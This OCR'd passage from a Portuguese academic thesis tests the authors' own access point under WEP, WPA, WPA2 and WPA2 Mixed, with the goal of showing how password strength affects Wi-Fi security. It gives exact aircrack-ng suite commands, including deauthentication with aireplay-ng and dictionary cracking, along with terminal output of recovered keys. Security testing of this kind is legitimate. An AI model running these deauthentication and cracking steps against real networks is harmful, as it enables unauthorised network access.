9 @/ 3 DD(53248) 3C(52480) C4(51968) 12(50G88) 3A(506G8E)
16 2 1 39(51208) 69(530432) 94(49664) 9B(49152) BE(48640)
11 1/ 1 4B({SRG688) B85(49928) 68(49920) 62(49928) D3(49928)
12 @/ 1 33(55548) DB(53244) 3E(52288) 21({49348) BA(48264)

KEY FOUND! [ 41:6E:40:79:40:5E:21:3F:32:35:43:6C:33 ] (ASCII: An@p@~!725C13 )

Decrypted correctly: 100%

root@testes-laptop:~#[j

Figura 39. Desvendando senha WEP 128 bits por forga bruta

Como mostra a Figura 39 a senha foi desvendada em apenas 10 segundos, sendo
testados 42.481 1Vs e 148.334 chaves. Da mesma forma que os testes anteriores a senha foi
desvendada rapidamente sem nenhum problema.

Agora a seqiiéncia a ser analisada foi gerada pelo software SoftFuse, e analisada
pelo Password Metter, que classificou a chave como forte, com 100% de seguranga, como

pode ser observado na figura 40.
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Test Your Password Minimunm Requirements

Password: IRy&@?ﬂiNm[g’”W # Minimurn 8 characters in length

: ® Contains 374 of the following items:
Hide: - - Uppercase Letters

Scon _ - Lowercase Letters
seares - Mumbers

- Symbols

T BT Y ey Strang

Rate Count Bonus

@ |Mumber of Characters Flat +in¥g)

@) | Uppercase Letters CondfIncr | +{{len-p)*2) _
@) | Lowercase Lettars Cond/Incr | +len-p)¥z]
&) | Mumbers Cand +in¥a) _
@ | symbalz Flat +(n¥E) _
&) | Middle Mumbers or Symbols Flat +et2) _
@ | Requirements Flat +ie*2) m

Letters Only Flat _

Mumbers Cnly Flat -n _
(| Repeat Charactars (Case Insensitive) Camp - _
@ | consecutive Uppercase Letters Flat -(rt2) _
@ | Consecutive Lowercase Letters Flat -r¥2) _
()| Consecutive Mumbers Flat -(r¥2)
@ | Sequential Letters (3+) Flat -(r*3) _
@ | Sequential Humbers (3+) Flat -{r*3) _
@ | Sequential Symbols (3+) Flat -{r*3) _

Figura 40. Analisando forca da senha

O analisador classificou a senha com um alto nivel de seguranca, porém como
pode ser observado na figura 41 a senha pode ser desvendada com uma analise 152.652

chaves em 52 segundos.

root@testes-laptop: ~

Arquive Editar Wer Terminal Ajuda

Aircrack-ng 1.0

[00:00:52] Tested 152652 keys (got 48755 IVs)

KB depth byte(vote)

8 8/ 1 52(57344) 80(49152) B7(49152) 89(48128) 5D(47872)
1 8/ 1 79(60928) ©6(48128) B2(48128) 9D(48128) 6C(47872)
2 8/ 2 BB(50944) F1(50176) 27(49152) ©1(48896) 92(47872)
3 e/ 1 40(52736) 26(49920) BA(49152) FB(47872) E2(47616)
4 e/ 1 37(54784) 1C(51456) 67(49408) 12(47872) 7F(47872)
5 e/ 1 34(58880) 3B(48896) 0B(48384) 65(47872) 3F(47616)
6 e/ 1 4E(53504) 8C(49664) 1B(49408) F2(49408) 63(47360)
7 8/ 1 ©D(62464) D6(49920) B4(49664) 2F(47872) 99(47616)
8 8/ 1 5B(50432) A3(49664) 9A(48896) 4F(47872) TE(47616)
9 8/ 1 67(53248) EA(49152) E9(47872) F9(47872) FO(47616)
18 12/ 1 83(45824) 09(45568) 39(45568) 7D(45568) A7(45568)
11 e/ 1 2C(49920) 6C(49152) 1E(48128) 20(48128) AF(47872)
12 e/ 2 59(49456) 63(48700) E6(47644) C4(47260) 5C(47244)

KEY FOUND! [ 52:79:26:40:37:34:4E:60:5B:67:2A:25:59 ] (ASCII: Ry&@74nNm[g*%Y )

Decrypted correctly: 100% e
Figura 41. Desvendando senha WEP 128 bits por forca bruta
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Esses testes comprovam a fragilidade das redes que optam pela seguranca do
protocolo WEP, mesmo sendo ela composta por uma seqiiéncia mais elaborada de caracteres

ndo sdo fortes o suficiente para resistir a um ataque de forga bruta.

6.6.3 Seguranca com o Protocolo WPA

O protocolo WPA tras além de outras melhorias vistas no trabalho anteriormente,
o aumento o tamanho da sua chave, que tem como critério no minimo 8 caracteres,
suportando combinagdes de 64 caracteres, tornando invidvel a quebra da sua chave por forca
bruta.

Este primeiro teste utilizando o protocolo WPA utiliza a versao com Temporal Key
Protocol (TKIP), este algoritmo tem como caracteristica a alteracdo dindmica da chave a cada
novo envio do pacote.

Iniciando os testes foi alterado o SSID da rede buscando uma diferenciagdo dos

testes anteriores, como pode ser visto na Figura 42.

COMPUTER S S A

Configuragiao Basica Wireless

Esla pigina & usada configuramar o pardmetos para os dienles wirskess
U padEm conectan a Seu ponbs de acessa Agul wacl pode mudar o2

par da recks v

“% ATEMCADG: Nao esquecer de aplicar suas madificacoes sabvas! =*°

[T Desativar Ineiface Wireless

Mome o AP: Jcasa
Banda: [72 Gz B+ =
Moda: [2=— =]
Tipo de Redo: [Inirasznaura =]
5510z frecwira,
Camal: [ =]
Roglas de Dominio [Canals) = [Fec a1y =
Clentes Conectales Exibir Cliames Al
T Clomar Endersges Mac do Clante (Para um cliente consctadas apenash
Sawa | | Restavear |

Figura 42. Configuracdo do AP para testes com o WPA
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A escolha da senha e do protocolo também foi realizada como mostra a Figura
43, neste teste a senha utilizada contém 10 caracteres, sendo composta por 5 letras mindsculas
e cinco nimeros, formando assim a combinacdo “teste12345”, essa € considerada uma senha
de baixa intensidade, j& que ndo possui caracteres especiais € nem letras maitsculas e contém

uma quantidade pequena de caracteres levando em conta a quantidade suportada.

F I.ytec COMPUTERS S A

Configuracao de Seguranca Wireless

Esta pagina permite configurar a seguranca wireless. Ative WEP ou WPA
usando chaves de criptografia para impedir todo o acesso desautorizado
a sua rede wireless.

=+ ATENCAO: Nao esquecer de aplicar suas modificacoes salvas! **

Criptografia:
WA TKIP) = Configurar WEP |
& n
™ Autenticacio 802.1x ~ xi:; ?;::ﬁs
Modo da Autenticacio ' Enterprise (RADILS)
WPA: ' Pagsnal (Chave Pre-Shared)
Formato da Pre-Shared
Key: Passphrase 'I
ey:
Chave Pre-Shared: I“"*‘*‘*‘"‘*
I Ativar Pre-
Autenticacio
Paorta |1812 IP
Autenticacio RADIUS: Senha

Nota: Quando a criptogralia WEP estiver selecionads, vacé deve
configurar a chave WEP,

Salvar Restaurar |

Figura 43. Escolhendo a senha WPA

Apo6s obter as informagdes da rede por meio do comando “iwlist scan”, como
mostra a Figura 44, pode ser iniciado os testes com o protocolo WPA, utilizando basicamente

0s mesmos passos do teste com o protocolo WEP.
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root@testes-laptop: ~ = [

Editar Wer Terminal Ajuda

Scan completed :
Cell 81 - Address: @0:0E:2E:B2:13:86
Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=44/78 Signal level=-66 dBm
Encryption key:on
ESSID: "tccWPA"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
Extra:tsf=000000000c4d0031
Extra: Last beacon: 44ms ago
IE: Unknown: 8883746363
IE: Unknown: 018882848B960C1215824
IE: Unknown: 83810B
IE: Unknown: 2A0182
IE: Unknown: 320843848686C i
TE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (1) : TKIP
Authentication Suites (1) : PSK -

Figura 44. Informagdes da rede com o comando iw list scan

Primeiramente foi colocada a interface em modo monitor com o Airmon-ng, e
apos iniciada a captura com o Airodump-ng, por meio do comando “airodump-ng -- channel
11 -w wpatkipfraca.cap mon0”, onde o parametro “--channel” especifica o canal onde deve
ser concentrar a captura, e “-w wpatkipfraca.cap” se refere ao nome do pacote onde os IVs
serdo armazenados.

Na seqiiéncia € necessdrio capturar o handshake, ou “aperto de mao”, que é uma
autenticacao que garante a comunicacdo entre o computador e o AP, e onde estd armazenada a
criptografia utilizada na autenticacdo da rede, sem essa informagdo o Aircrack-ng ndo pode
desvendar a chave WPA.

O handshake é obtido com a ajuda do Aireplay-ng, por meio do comando
“aireplay-ng -0 5 -a MAC do AP -c MAC do cliente <interface>" inserido em outro terminal
aberto, neste caso foi utilizado “aireplay-ng -0 5 -a O00:0E:2E:B2:13:84 - ¢

00:1A:73:A6:C4:D6 mon0”, assim um pacote de desconexdo do usudrio é enviado pelo
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atacante para o AP, forcando o usudrio a realizar uma nova autenticacdo para permanecer
conectado, essa autenticacao ¢ armazenada nos pacotes capturados.
A Figura 45 mostra o Aireplay-ng em execucao.

root@testes-laptop: ~ SEE
Arquivo Editar Mer Terminal Ajuda

root@testes-laptop:~# aireplay-ng -0 5 -a ©0:0e:2e:b2:13:84 -c 00:1a:73:a6:c4:d -
6 mon@
12:31:21 Waiting for beacon frame (BSSID: ©6:0E:2E:B2:13:84) on channel 11

12:31:22 Sending 64 directed DeAuth. STMAC: [00:1A:73:A6:C4:D6] [53]69 ACKs]
12:31:23 Sending 64 directed DeAuth. STMAC: [00:1A:73:A6:C4:D6] [64]64 ACKs]
12:31:24 Sending 64 directed DeAuth. STMAC: [00:1A:73:A6:C4:D6] [64]64 ACKs]
12:31:25 Sending 64 directed DeAuth. STMAC: [00:1A:73:A6:C4:D6] [49]66 ACKs]
12:31:25 Sending 64 directed DeAuth. STMAC: [00:1A:73:A6:C4:D6] [46]64 ACKs]

root@testes-laptop:~# [J

Figura 45. Aireplay-ng capturando o handshake

A Figura 46 mostra o WPA handshake ja capturado, porém para que a quebra da

chave aconteca € necessario capturar aproximadamente 50.000 pacotes.

rooti@testes-laptop: ~ M =NES
Arquivo Editar Ver Terminal Ajuda
[CH 11 1l Elapsed: 9 mins 10 2010-85-29 11:36 ][ WPA handshake: ©8:9E:2E:B2:13:84
BSSID PWR RAQ Beacons  #Data, #/s CH MB  ENC CIPHER AUTH ESSID
BO:8E:2E:B2:13:84 -63 lod 5518 6761 g 11 54 | WA TKIP PSK  tccWPA
BSSID STATION PWR  Rate Last Packets Probes

BE:BE:2E:B2:13:84 B@:1A:73:A6:C4:D6 -43 34 -4 a 7728 tochWPR

Figura 46. Captura dos pacotes ja com as informacdes do handshake

Utilizando o comando ‘“aircrack-ng -e tccWPA -w  WORDI.LST

3 3

wpatkipfraca.cap”, onde o parametro “-¢” especifica o ESSID da rede, “-w” o diciondrio
utilizado para auxiliar a quebra, e em seguida o nome do pacote que contém os IVs para
realizar a quebra, a chave pode ser desvendada.

O diciondrio utilizado € uma concatenacdo de vérios pequenos diciondrios

contendo aproximadamente 50 MB, um deles pode ser encontrado no endereco,
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“http://addagram.mytestbench.com/WORD.LST”, alguns outros podem ser encontrados no
endereco “http://natura.di.uminho.pt/download/sources/Dictionaries/misc/wordlist/”.
Como mostra a Figura 47, foram testadas 225.392 chaves em um pouco mais de 3

minutos.

root@testes-laptop: ~ — | [O][=
Arquivo Editar Ver Terminal Ajuda

Aircrack-ng 1.0

N

[00:03:28] 225392 keys tested (1197.82 k/s)
KEY FOUND! [ testel2345 ]

Master Key : 4A 17 66 E6 5A 97 AC C7 6C C1 6B 81 77 37 @D F4
54 FE F5 F@ 8C C4 DF DC 3D 22 23 67 DA 0B CF 48

Transient Key : 2B 68 1A EF 83 9C D3 B3 FC 8D AB 34 B2 6E D3 82
JF F2 87 2C 66 52 02 22 F2 E3 99 5C CB 9B 19 E@
63 38 50 DA 81 A8 BB 6D 46 F9 82 EC 01 CE Bl DC i
E4 D2 10 B3 15 087 43 F1 F@ 70 96 D1 FD 3E 1D 74

EAPOL HMAC : BE C5 6A EO@ CC A7 C3 B0 E6 CF 58 AB 59 B9 68 BB
root@testes-laptop:~# ||

Figura 47. Quebra da chave WPA por meio de ataque de diciondrio

Analisando a facilidade em que a senha foi desvendada, um novo teste foi
realizado com os mesmos passos realizados anteriormente, porém com uma chave maior e
com caracteres mais elaborados, composta por caracteres especiais, letras e nimeros, sendo
ela, An@p@~!?&CI13d150n.

A Figura 48 mostra a tentativa fracassada de quebra da chave, sendo que a mesma
ndo se encontra no diciondrio utilizado, mesmo sendo ele composto por milhares de
combinacdes, neste caso um novo diciondrio deve ser testado.

Para uma quebra se senha WPA bem sucedida muitas vezes € necessario utilizar
varios diciondrios com caracteristicas diferentes, confirmando assim a importancia do

diciondrio utilizado pelo Aircrack-ng.
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Arquivo Editar Ver Terminal Ajuda

Current passphrase: zurrareis

Passphrase not in dictionary

Quitting aircrack-ng...
| root@testes-laptop: ~# |

[00:12:84] 502276 keys tested (574.63 k/s))

Master Key : E6 09 AB D4 FC E4 41 F5 DD 68 7B 6B 49 16 C7 EF
17 41 ED 5A A9 BC 47 ©7 Be 3F 45 F6 D4 A8 6BE 2F

Transient Key : F9 68 67 A5 83 A4 6C 22 A7 FC D7 8B 5B 65 BC 32
62 53 14 AA DB 2C 50 FF 16 B2 67 3D AF 39 FB 5F
58 D9 EA 30 3A 6D 21 84 7E 32 D9 11 8E 54 A® D5
27 6A 4C DA D8 AD ADG 1B 60 A2 C7 6B 6E 24 A5 A7

EAPOL HMAC : AE 70 51 41 ©3 28 52 AD D6 09 20 1C AE 8A 7D E8

Figura 48. Quebra fracassada de chave WPA

Neste caso foram testadas 502.276 chaves em mais de 12 minutos com uma média

de 574 chaves por segundo.

Também foi realizado um teste com uma senha gerada pelo SoftFuse, com uma

seqiiéncia de 15 caracteres como pode ser observado na Figura 49.

® SoftFuse Password Generator Free 2.1

Fil=  Options Passwaords  “iew Help

=107 =

=R AR AR A E R BN AN C =

Generate Single Password

Length: mﬂ

Character Set

Password:  [PB=3CK+7F —JNGE Ex

¥ Upper Caze Letters [&.. 2]
¥ Lower Case Letters [a..z]
¥ Mumbers [0..9]

¥ Special Characters [#..%)

v Custorn Characters

tel Egb cph Eed
LT I R S

Y
Lo

|Sing|e pazsword haz been generated

Figura 49. SoftFuse gerando senha



94

A senha gerada pelo software desta vez garantiu a seguranga da rede, como pode-

se ver na Figura 50.

Master Key : E6
17

Transient Key : F9
62
58
27

EAPOL HMAC : AE

Quitting aircrack-ng...
root@zestes-laptop:~# |j

root@testes-laptop: —

Argquive Editar Mer Terminal

1
22

a0
E3
F3
78

CF

Passphrase not in dictionary

Ajuda

AB

a9

ED 41

65
33
ik
it

L]

Fe
A9

a3
DE
3A
13

@3

F5 41
a7 47

22 6C
FF S&
84 21
18 Ag

A 52

Current passphrase: zyteareed

49 DD 68
IF B6 07

D7 A7 FC
B2 16 B2
b8 JE 32
11 &0 A2

3D DE C3

78 6B
45 F&

Dy &8
67 3D
Dg 11
C7 6B

28 1C

[B8:14:87] 782486 keys tested (876.27 k/s))

65 16
D4 AB

58 65
AF 39
8E 34
GE 24

AE BA

c7
GE

B
FB
Al
AS

kil

Figura 50. Tentativa fracassada de quebra da senha gerada por software

Os testes realizados na seqiiéncia envolvem o protocolo WPA2 com a criptografia

AES.

6.6.4 Seguranca com o Protocolo WPA?2

A seqiiéncia de testes se dd com o protocolo WPA2, juntamente com a

criptografia AES, que tem como caracteristicas separar os blocos para realizar a criptografia

separadamente tornando a quebra mais dificil e demorada, estd combinag¢do também suporta

chaves de até 64 caracteres.

Os passos sdo os mesmos realizados nas andlises anteriores, a Figura 51 mostra as

informacdes obtidas por meio do comando “iwlist scan”.



wlan@

Arquivo Editar Ver

root@testes-laptop: ~ —

Terminal Ajuda

Scan completed :

Cell 81 - Address: 00:0E:2E:B2:13:84

Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=23/78 Signal level=-87 dBm

Encryption key:on
ESSID: "tccWPA"

Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; & Mb/s

9 Mb/s; 12 Mb/s; 18 Mb/s

Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master

Extra:tsf=00000008096c819b

Extra: Last beacon: 296ms ago

IE: Unknown: 8006746363575041

IE: Unknown: 0810882848B966C121824

IE: Unknown: 83018B

IE: Unknown: 2A0102

IE: Unknown: 32043848606C

IE: IEEE 862.11i/WPA2 Version 1

Group Cipher : CCMP
Pairwise Ciphers (1) : CCMP
Authentication Suites (1) : PSK

root@testes-laptop:~# [

Figura 51. Informagdes da rede obtidas por meio do comando “iwlist scan”
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Com os dados da rede coletados, o préximo passo € a escolha da senha que pode

ser visto na Figura 52.

F [yt ec CONMPUTERS S.A

acbes

Controle de Acesso
figuracac WDS

‘Gerenciamento
Upload de Licenga
Aplicar as Modificacbes

Configuracao de Seguranca Wireless

Esta pagina permite configurar a sequranca wireless. Ative WEP ou WPA
usando chaves de criptografia para impedir todo o acesso desautorizado
a sua rede wireless.

**¥ ATENCAO: Nao esquecer de aplicar suas modificacoes salvas! ***

802.1x WEP 128hits

nieatagng " Enterprise (RADIUS)

WPA: © pessoal (Chave Pre-Shared)

Formato da o = e - Tas

Pre-st i Key: i_F'assp_hrase i

Chave

et hared: (123456789101 1teste
Ativar

Pre-Autenticacio

Autenticacio Porta 1517 P

RADIUS: —

Nota: Quando a criptografia WEP estiver selecionada, vocé deve
configurar a chave WEP.

| Salvar - | Restaurar |

Figura 52. Ativando protocolo WPA2 (AES) e escolhendo a senha
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A primeira senha testada € uma combina¢@o de nimeros e letras, considerada uma
senha com grau de complexidade baixo, que apds capturarmos aproximadamente 50.000 IVs

pode ser quebrada como mostra a Figura 53.

root@testes-laptop: ~ .

Arquivo Editar Ver Terminal Ajuda

Aircrack-ng 1.0

[00:96:23] 410468 keys tested (1139.34 k/s)

KEY FOUND! [ 1234567891011lteste ]

Master Key : EB ©C 1A 75 BE ©C ©2 05 57 BE 7F 7E 5E D7 FD 9A
28 68 9D F1 31 28 64 E5 CD 01 D2 1A AD Bl 5D 61

Transient Key : 2E D3 9E B2 2C 4A F6 E3 A4 DO @9 F2 D9 37 C5 70

EAPOL HMAC : 1C 08 3D C3 43 4B 80 1C 17 94 9C 78 94 A6 47 5C
root@testes-laptop:~# [

Figura 53. Desvendando uma chave WPA2 (AES)

Observando a facilidade da quebra da chave em aproximadamente 6 minutos
testando 410.468 chaves, foi entdo testada uma chave um pouco mais elaborada como mostra

a Figura 54, esta contendo letras nimeros e caracteres especiais.

F I.ytec COMPUTERS S A

| Configuragdes

Configuracao de Seguranca Wireless
Esta pagina permite gurar a seguranca wireless. Ative WEP ou WPA
usando chaves de criptografia para impedir todo o acesso desautorizado

a sua rede wireless.
*#* ATENCAO: Nao esquecer de aplicar suas modificacoes salvas! ***
Seguranca
Controle de Acesso
Configuragao WDS | Criptografia: e "
Site Survey WPA2(AES) |~ . Configurar WEP
5 | ey |
Autenticagao WEP 64bits
Firewall 802.1x WEP 128bits
20'"”"'? & Eia“da Modo da _ Enterprise (RADIUS)
il Autenticagdo WPA:  © Pessoal (Chave Pre-Shared)
Upload de Licenga - e - B
Aplicar as Modificagdes TR [ 3
P G Pre-Sk d Key: Passphrase ~
Chave Pre-Shared: | Al7B2!c3|
Ativar
Pre-Autenticagao
Autenticacao Porta 1517 P
RADIUS: Senha

Figura 54. Escolhendo a chave WPA2 (AES)
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Para esta chave também foram capturados aproximadamente 50.000 pacotes com
Airodump-ng por meio do comando ‘“‘airodump-ng -- channel 11 -w wpa2media.cap mon0”
como mostra a Figura 55. A captura do handshake também pode ser observada, esta
informacdo é adquirida por meio do comando “aireplay-ng -0 5 -a 00:0E:2E:B2:13:84 - ¢
00:1A:73:A6:C4:D6 monO”. Nesta mesma figura foram identificadas as informacdes
referentes as segurangas da rede, onde o algoritmo utilizado é chamado de CCMP, sendo ele o
mesmo AES, pois este também pode ser chamado por AES-CCMP, mas no Linux sua

representacao € feita somente por CCMP.

root@testes-laptop: ~ S =HES
Arquivo Editar Ver Terminal Ajuda

CH 11 ][ Elapsed: 43 mins ][ 2010-86-83 13:48 ]|[ WPA handshake: 00:0E:2E:B2:13:84
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:0E:2E:B2:13:84 -89 66 25490 49740 8 11 54 |WPA2 CCMP  PSK tccWPA

BSSID STATION PWR  Rate Lost Packets Probes

00:0E:2E:B2:13:84 ©0:1A:73:A6:C4:D6 -50 54 -24 6] 55248 tccWPA

Figura 55. Capturando pacotes com a criptografia WPA2 (AES)
Por meio comando “aircrack-ng -e tccWPA -w WORDI1.LST wpa2media.cap”
pode-se observar que mesmo essa senha com um nivel de dificuldade mais elevado, pode ser
quebrada em 20 segundos e testando 20.136 chaves, com uma média de 950 chaves por

segundo, como mostra a Figura 56.

root@testes-laptop: ~ — | [ [

Arquivo Editar Mer Terminal Ajuda

Aircrack-ng 1.0
[00:96: 52] 20136 keys tested (958.15 k/s))
KEY FOUND! [ Al?B2!c3 ]

Master Key : B2 D6 31 DF 1E CD F4 3A A4 ©1 90 76 6B 1B 4A 88
48 E8 CO D6 DA DF 84 60 EC BB C2 BF 2B 19 93 @A

Transient Key : FC 46 18 A7 67 B7 EC C2 19 52 39 27 D7 8C 17 84 W
52 99 F5 @1 EB 9A B3 6B 39 E9 @6 30 E5 82 5E 3A
C8 80 16 83 6C 45 38 79 84 39 4F 0B 8C 9C 3C A@
ee F7 DF @4 19 59 2IF BF F4 2D 8D 3E 4E 7E 53 28

EAPOL HMAC

: EB CD 8F 67 B8 CH6 86 46 69 FF 94 83 C1 A7 1B FB
root@testes-laptop:~# [

Figura 56. Quebrando uma chave WPA2 (AES) com caracteres especiais
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Assim realizamos uma nova tentativa, agora com uma chave complicada, que
inclui letras, nimeros e caracteres especiais, numa combinagdo de 17 caracteres.

Ap6s aproximadamente 12 minutos e testar 757.464 combinac¢des, numa média de
1.184 testes por segundo, o Aircrack-ng nio pode realizar a quebra da chave escolhida, como

mostra a Figura 57.

root@testes-laptop: ~

Arquivo Editar Yer Terminal Ajuda

[#0:11:25] 757464 keys tested (1184.36 k/s)

Current passphrase: zingiest

Master Key : 29 E1 82 54 EC DB C3 22 42 3E 6F 83 35 33 43 37
B D1 66 7B 7B 3C 3F 98 26 33 F© 16 9F E7 E2 B4

Transient Key : 908 60 8D 39 43 3E E6 67 oC A4 34 1E C6 93 DT 47
86 83 D5 D1 34 12 2C 08 08 DC 8C B4 6C 45 59 52
AB A2 A7 C1 E7 BY C7 97 1A DD 15 66 CE 64 89 19
26 9E 19 6F E7 CC 96 DF D2 A9 1E (6 33 50 CC 64

EAPOL HMAC : B6 67 98 AQ 45 78 8B 36 2C AB 86 CE A8 DA OF (6

Passphrase not in dictionary

Quitting aircrack-ng...
root@testes-laptop:~# ||

Figura 57. Quebra de senha WPA2 (AES) sem sucesso

Assim pode ser observada a importancia da extensdo das senhas, como os testes
nos mostraram que quanto maior o nimero e a diversidade dos caracteres existentes em uma

senha mais dificil serd a sua quebra.

6.6.5 Seguranca com o Protocolo WPA2 Mixed

Os ultimos testes a serem realizados no trabalho analisam a seguranca da rede

levando em conta a criptografia WPA2 Mixed, que trds uma mistura da chave WPA TKIP

com a WPA2 AES, como pode ser visto na Figura 58.



Arquivo Editar

Ver

root@testes-laptop: ~
Terminal Ajuda

wlan@ Scan completed :
Cell 01 - Address: 00:0E:2E:B2:13:84

Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=22/70 Signal level=-88 dBm
[Encryption key:on
[ESSID: "tccWPA"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
Extra:tsf=000000002a94019b
Extra: Last beacon: 164ms ago
IE: Unknown: ©806746363575041
IE: Unknown: ©10882848B968C121824
IE: Unknown: ©3018B
IE: Unknown: 2A0182
IE: Unknown: 32043048606C
[IE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (1) : TKIP
Authentication Suites (1) : PSK
IE: IEEE 882.11i/WPAZ Version 1
Group Cipher : TKIP
Pairwise Ciphers (1) : CCMP
Authentication Suites (1) : PSK

Figura 58. Dados da rede obtidos por meio do comando iwlist scan
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A execucdo dos testes € realizada da mesma forma que os anteriormente, ou seja,

handshake com o Aireplay-ng, e quebrando as chaves com o Aircrack-ng.

com a interface em modo monitor, a captura dos pacotes com o Airodump-ng, apanhando o

Duas senhas foram utilizadas para que o nivel de seguranca pudesse ser observado

com o uso dessa criptografia, a escolha da primeira a ser testada pode ser vista na Figura 59.
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Configuracao de Seguranca Wireless

Esta pagina permite configurar a seguranca wireless. Ative WEP ou WPA
usando chaves de criptografia para impedirtodo 0 acesso desautarizado
a sua rede wireless.

“* ATENCAQ: Nao esquecer de aplicar suas modificacoes salvas! ™

Criptografia:
WD Mied = Configurar WEP |
& WEP 64bits
r icagio 802.
Autenticacio 802.1x © WEP 128bits
Modo da Autenticagdo  Enterprise (RADIUS)
WPA: & Pasgoal (Chave Pre-Shared)
Formato da Pre-Shared
P |F'assphrase 'I
ey:
Chave Pre-Shared: Icopadomundo|
= Ativar Pre-

Autenticacao

Porta |1812 IP
Autenticacao RADIUS: I Senha

Mota: Quando a criptografia WEF estiver selecionada, vocé deve
configurar a chave WEF.

Salvar | Restaurar I

Figura 59. Criptografia WPA2 Mixed
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Com a escolha da senha ‘“copadomundo”, foi iniciado os testes, sendo que

segundos a quebra da chave foi realizada como mostra a Figura 60.

Arquivo Editar

Master Key

Transient Key

EAPOL HMAC

root@testes-laptop: ~#-|:|

Ver

root@testes-laptop: ~

Terminal Ajuda

Aircrack-ng 1.8
[80:04:50] 336188 keys tested (1190.89 k/s)
KEY FOUND! [ copadomundo ]
9E 29 B2 OF 51 F8 68 33 D9 5A €68 FO A7 96 BE C5
FF 3A 13 20 66 C8 60 8A B2 S5E 27 2E 52 BA 97 04
3E BF 5B OE ©9 DF 06 ©OF 2B D8 €0 E7 F@ C® D6 D5
3F F4 A2 12 7B 73 73 6D B5 C5 Do ©B CF EB 39 D7
56 6D 3A BB 49 C2 OF 55 40 CO BA 00 29 46 0B AF
12 @4 88 D5 37 55 7B AB 8B Al F3 5E D1 B7 25 4D

EF 7F 7D F5 1A 20 22 EE 19 ED BO 47 EC BB 2C 44

Figura 60. Quebra da chave WPA2 Mixed por ataque de diciondrio

aproximadamente 50.000 pacotes e o handshake foram capturados, e ap6s 4 minutos e 50
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Como pode ser analisado na Figura 60, foram necessdrias a utilizacdo de 336.188
chaves, e analisadas 1190 chaves por segundo para que a senha fosse desvendada.

Tendo base nos testes anteriores uma nova senha foi escolhida para um ultimo
teste, essa com caracteres especiais, letras e nimeros, em uma seqii€ncia de 21 combinacdes,

dando origem a senha “An@p@ulL @A 1#b2#C312345”, que pode ser vista na Figura 61.

F I.ytec CONPUTERS S A

Configuracao de Seqguranca Wireless

Esta pagina permite configurar a seguranca wireless. Ative WEP ou WPA
usando chaves de criptografia para impedirtodo o acesso desautorizado
a sUa rede wireless.

“* ATENCAQ: Nao esquecer de aplicar suas modificacoes salvas! ™

Criptografia:
WPAD Mined = Configurar WEP |
& .
- Autenticacio 802.1x ~ xgz ?;;:lsts
Modo da Autenticacio © Enterprise (RADIUS)
WPA: & Pegsoal (Chave Pre-Shared)
Formato da Pre-Shared
Key: |Passphrase 'I
ey:
Chave Pre-Shared: |A_n@p@uL@A1 #h2RCI12345
™ Ativar Pre-

Autenticacao

Porta |1812 IP
Autenticacao RADIUS: I Senha

Nota: Quando a criptografia WEFR estiver selecionada, vocd deve
configurar & chave WEF.

Salvar I Restaurar I

Figura 61. Escolha da senha com a criptografia WPA2 Mixed

Nesta andlise foram coletados cerca de 112.000 pacotes, em 15 minutos, as
informagdes referentes ao handshake da conexdo também foram coletadas, como mostra a

Figura 62.

4 root@testes-laptop: ~
Arguivo  Editar Ver Terminal Ajuda

CH 11 1[ BAT: 53 mins ]I Elapsed: 15 mins ][ 2810-85-38 20:89 ][ wPA handshake

B33ID PWR RXQ Beacons #Data, &= CH MB ENC CIPHER AUTH E
G0:0E:2E:B2:13:84 -50 160 5990 112547 133 11 54 :wp.r.z CCMP  PSK  t
BSSID STATION PWR  Rate Lost Packets Probes
B5:0E:2E:B2:13:84 00:1A:73:A6:C4:D6 -48 54 -48 18 117449 tccWPA

Figura 62. Captura dos pacotes e do handshake
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Desta vez a chave nao pode ser quebrada como mostra a Figura 63, isso significa

que a seqii€éncia ndo se encontra no diciondrio testado, da mesma forma que foi explicado

anteriormente, a melhor solug@o para um caso assim € a escolha de um novo diciondrio.

root@testes-laptop: ~

Arquivo Editar Ver Terminal

Ajuda

Master Key : 1F éD
CF 30

Transient Key : 85 45
6F 2A
58 BB
DE DF

EAPOL HMAC : F& 6C

rassphrase not in dictionary

Quitting aircrack-ng...
root@testes-laptop:~#

33
20

65
Al
47
AF

15

26
El

EA
8E
84
B7

1C

D1
93

BA
Al
56
33

67

04
6D

40
49
1A
A8

E3

32
34

36
3D
SE
15

0l

4E ED 4A
6A E7 2E

B6 BA B2
65 74 64
55 64 90
D6 6A 01

FF 72 @F

‘ Current passphrase: zizzling ‘

18
FB

6C
7F
80
aD

EF

F7
28

EC
47
D5
DG

1E

‘[93:18:43] 157476 keys tested (1204.19 Hfs]‘

20 2C
5F E2

92 33
4D B8
B4 66
FF A4

B4 33

2A FA
77 49

Bl 65
95 3F
12 &C
712 19

C7 EC

ez

Figura 63. Quebra de senha WPA2 (AES) sem sucesso

Com isso pode-se observar que a seguranca de uma rede tem relacdo com a

senha utilizada, neste caso utilizando uma senha de um tamanho apropriado, aproveitando os

recursos disponiveis pelo protocolo utilizado pode-se garantir um bom desempenho

relacionado a seguranca.

Na Tabela 7 pode ser analisado o desempenho de todas as senhas e protocolos

utilizados.
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Tabela 7. Testes Realizados

Protocolo Chave Tempode Gerada por Andlise do Quebra da
Andlise Software  Passwordmeter Senha

WEP 64 bits 12345 00:04 Néo 4% Sim
WEP 64 bits yJ(M9 00:04 Nao 46% Sim
WEP 64 bits A@q~2 00:04 Sim 56% Sim
WEP 128 bits 1234567891011 00:07 Nao 13% Sim
WEP 128 bits An@P@"!?25CI3 00:10 Néo 100% Sim
WEP 128 bits Ry&@74Nm[g*%Y 00:52 Sim 100% Sim
